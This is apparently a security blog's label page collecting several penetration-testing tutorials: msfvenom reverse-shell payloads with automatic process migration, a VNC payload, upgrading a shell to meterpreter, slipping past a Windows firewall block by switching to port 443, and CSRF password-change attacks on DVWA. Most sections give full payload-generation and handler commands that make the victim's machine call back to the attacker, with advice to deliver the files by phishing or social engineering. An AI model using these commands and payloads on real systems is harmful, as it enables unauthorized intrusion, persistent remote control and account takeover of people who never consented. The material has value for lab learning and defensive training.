Showing posts with label Penetration Testing. Show all posts
Showing posts with label Penetration Testing. Show all posts

Hiding Shell with Prepend Migrate using Msfvenom

If you are a network penetration tester then you must read this article to enhance your skill. It is the part of advance penetration testing which might help in creating a strong payload for an attack to the targeted system. In this article your will learn more about the strength of msfvenom, here we will create such a payload which is different from my previous tutorial. The payload migrate its process if current process gets killed hence attacker will not lose his session if victim kills the current process ID of the payload from its system.

LETS!!! START
Open the terminal in kali Linux and type following command to generate exe payload.
Msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.104 lport=5555 prependmigrate=true prepenmigrateprocess=explorer.exe –f exe > /root/Desktop/raj.exe
Above command will create the raj.exe file on the Desktop now send this file to remote system for attack


Load metasploit framework and type following command to start the attack.
msfconsole
use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.104
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit

When victim will open raj.exe file we will get meterpreter session.

meterpreter> sysinfo


Now let check the process ID of our payload.
meterpreter> ps
From the highlighted text you can read the process ID shown for raj.exe i.e. 4960.


Now attacker tries himself to kill the current process state for raj.exe to verify process migration, as result process 4960 get killed.
meterpreter> kill 4960

But!!!  Still we have victim’s session which means raj.exe file migrate into new process ID.
meterpreter> sysinfo

Shell to Meterpreter using Session Command

In previous article we have seen how to upgrade a command shell into meterpreter using Post exploitation in metasploit. Again we are going to perform same task using a different technique.

LETS BEGIN!!!
msf auxiliary(telnet_login) >sessions

In following screenshot you can perceive that it is showing the TYPE for session 1: shell.


Once you got the reverse connection of remote system and access its command shell through metasploit now you can manipulate your active sessions.  You just need to type sessions –h as command inside metasploit, this help command will display the multiple option which can be utilized with active session.
msf auxiliary(telnet_login) >sessions –h

So in the following screenshot you can perceive that the highlighted option is used to upgrade a command shell into meterpreter session.


Since we have command shell so here we can use “-u” (option) with session ID for upgrading our shell into meterpreter session. Execute following command for session manipulation.
msf auxiliary(telnet_login) >sessions –u 1

When you will execute above command you will get meterpreter session as session 2. Now enjoy your meterpreter session and execute its command.
msf auxiliary(telnet_login) >sessions

Capture VNC Session of Remote PC using Msfvenom

Today in this article we’ll try to compromise the target using VNCpayload. In this tutorial you’ll learn how to create a VNC payload using msfvenom and try to achieve VNC shell of victim’s PC.
Open the terminal in your Kali Linux and type following command to generate a VNC payload using msfvenom command.

Msfvenom –p windows/vncinject/reverse_tcp lhost=192.168.1.15 lport=4444 –f exe > /root/Desktop/vnc.exe


Now the above command will generate an exe file for the VNC payload on the desktop of Kali Linux. Being an attack you need to send this backdoor to the target and start multi handler in the metasploit framework.


msfconsole
use multi/handler
msf exploit(handler) > set payload windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.103
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit


Now attacker tries to connect with target using VNC payload, from given screenshot you can see it has launched vncviewer and we have our session 1 is running at background.


How to Upgrade Shell to Meterpreter

In network penetration testing, we always wish to hack a system of an internal network and try to make an unauthorized access through meterpreter session using metasploit framework.  But there are some exploits which provides directly victim’s command shell instead of meterpreter session. In this article we have tried to upgrade from victim’s shell to meterpreter shell.

In previous article we had discussed related to how to access victim’s shell. Now once you have access victims command shell then follow the given below step to upgrade a command shell into meterepreter shell.

Here I have already access command shell of victim’s Pc
msf auxiliary(telnet_login) >sessions

In following screenshot you can perceive that it is showing the TYPE for session 1: shell.


This module attempts to upgrade a command shell to meterpreter. The shell platform is automatically detected and the best version of meterpreter for the target is selected. Currently meterpreter/reverse_tcp is used on Windows and Linux, with python/meterpreter/reverse_tcp' used on all others.
use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
msf post(shell_to_meterpreter) > exploit


Let’s verify the TYPE for session 2
msf post(shell_to_meterpreter) >sessions
Now have a look over last image which is showing the new session i.e. session 2 is a meterpreter session.

Bypass CSRF Medium Security in DVWA

In previous article we have discussed about how to bypass low level security if a web application server is suffering from cross site request forgery (CSRF). Today we will see how to exploit a web application server with CSRF attack if the security level get increased or say set to medium and try to change the password of admin without his permission.

Let’s start!!!

Again I have target DVWA for this tutorial and by default the credential set for it is admin: password. As you can see I have used them for login in DVWA


Set security level medium select the bug cross site request forgery as current vulnerability.  Here you see the text fields are given for changing the password of the database for user admin.


If you remembered in the previous article we have executed csrf.html file to change the password for admin when security level is low.

In following screenshot you can see I have given value= “hacker” as new password and confirm password.


Now I am going to test whether the same file csrf.html would be capable to change the password for admin when security level is medium. From screenshot you can see I try to execute csrf.html file which might reset the password.


As result you can see I didn’t successes to bypass medium security using csrf.html and got an error message “that request didn’t look correct”. Hence the technique which we have used in low security will get failed in medium security level.



Sometimes it might be possible that a web application server may have more than one vulnerabilities in it. It could be a big advantage because making use of other vulnerability we can perform an action to execute our malicious file through it.
 Now first of all change csrf.html into csrf.php file, then set low security level and switch into file uploading vulnerability inside DVWA.

 Here the above text file of html form is now saved as csrf.php is successfully uploaded in the server which you can see from given screenshot.


Now browse the path 192.168.1.102:81/dvwa/hackable/uploads/csrf.php in URL to execute csrf.php file and click on change button.


GREAT!!!
From screenshot you can see without admin permission we have successfully changed his password.


Now let’s verify, as we know the previous credential was admin: password; here when I try to use them it shows the login failed.


Further when I try with admin: hacker as current credential, I login successfully inside DVWA. This was all about CSRF tutorial to bypass medium security in DVWA.

How to set and Bypass Outbound Rule in Windows Firewall using Metasploit

In previous the firewall penetration testing article you might have read how firewall is used for blocking any particular port in a network to prevent hackers or malicious software from gaining access to your PC. This article is written to describe that how an attacker can bypass firewall rules and try to make unauthorized access of victim’s PC.

Target: windows PC
Attacker: Kali Linux

Lets start!!!

Open window firewall control panel and select Advance setting to configure firewall rules as shown in screenshot.


Go to outbound rules to configure new rule for firewall to add security layer in network to secure it form attackers.


Select the type of firewall rule to be created click radio button for option Port that controls connections for a TCP and UDP port then click on next.


Now specify the protocol and port to which rule is applies therefore I choose TCP and then specify port 4444 on which this rule will applies and then click on next.

 Select radio button for block the connection when connection matches to the condition specified condition.


Select all check boxes when this rule applies.


Here give the name to your own specified rule.  You can see in the screenshot I had named it block port 4444 and then click on finished.


Here you can see the new outbound rule is added into the list of outbound rules. Hence victim has defense himself from establishing connection with port 4444, now if attacker try to connect with victim through port 4444 then it might be possible that attacker doesn’t receive any reverse connection.


Now let’s examine when an attacker tries to send malicious file using port 4444, will it work or not. Does attacker able to receive reverse connection of victim’s pc?

Here I have generated a malicious file using msfvenom in the format of .exe file and then send this 4444.exe file to victim and start multi handler at background.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe > /root/Desktop/4444.exe

Now let’s find whether we will succeed or get failed to achieve reverse connection of victims PC.


use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.102
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

OOPS!!!  No response
It means we get failed in establishing connection between victim and attacker. Now as we know victim has protected himself from connecting with port 4444.


Now whenever you face such type of restriction for establishing connection with victim then do not get disappoint think twice what is the aim of an attack? He only wants to trap victim and want to establish a connection.

Now send your malicious file on those ports which always left open for incoming and outgoing connection.  For example port 80, port 443, port 445 and etc.

When again an attacker tries to send malicious file using port 443. Does attacker able to receive reverse connection of victim’s pc?

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.102 lport=443 -f exe > /root/Desktop/443.exe

 Start multi handler and send 443.exe to victim.


use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.168.1.102
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit

GREAT!!!  Attack is successful
We successfully got meterpreter session of victim’s PC inside the metasploit framework.

CSRF Tutorial For Begineers in DVWA

in this article you will learn Cross-site request forgery attack. For CSRF tutorial I have targeted DVWA and try to bypass low security level.
Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information.
Reference: en.wikipedia.org/wiki/Cross-site_request_forgery

Let’s start!!!

By default the credential set for DVWA is admin: password. As you can see I have used them for login in DVWA.


Now set security level at low and select the bug cross site request forgery as current vulnerability.  Here you see the text fields are given for changing the password of the database for user admin.

 Now open the view source page and copy the highlighted text. 


Then paste above copied HTML code inside a text file.  If you are aware of HTML coding then it will be very to understand the following syntax inside the notepad which will create a form to reset the password of a web page. Now save the file as csrf.html

Now when you will open the csrf.html file it will look like the given below image where it contains the text field for password and a submit button.


Now again open csrf.html with notepad to edit the value inside the text field given for new password and confirm password. In following screenshot you can see I have given value= “hacker” as new password and confirm password. Then again save it with csrf.html

Now when again you will open csrf.html file you will find that the blank text field are given for password is get filled.


Now when you will click on change button the password will reset for that web page. This is all about how html form will work and from given screenshot you can read the sent GET request for changing password through URL. 

 Since this tutorial is related to bypass low security in DVWA therefore we need to add target location inside the html form to make CSRF attack for changing the password for admin without his permission.
Now copy the URL as shown in the following image.


Again open csrf.html with notepad and replace # from above copied URL which will directly change the password of targeted location for user admin.

Here you can read the final syntax for html form to change the password for admin inside DVWA without his involvement.  Now send this crsf.html file to victim using social engineering or phishing technique to trap the victim for exploiting with CSRF attack.

                                                New password:
                                                
                                                Confirm new password:
                                                
                                               
                                                



When victim will open the csrf.html file and click on change button the password will get changed for admin inside DVWA.


From screenshot you can see without admin permission we have successfully changed his password.


Now let’s verify, as we know the previous credential was admin: password; here when I try to use them it shows the login failed.

Further when I try with admin: hacker as current credential, I login successfully inside DVWA. This was all about CSRF tutorial to bypass low security in DVWA.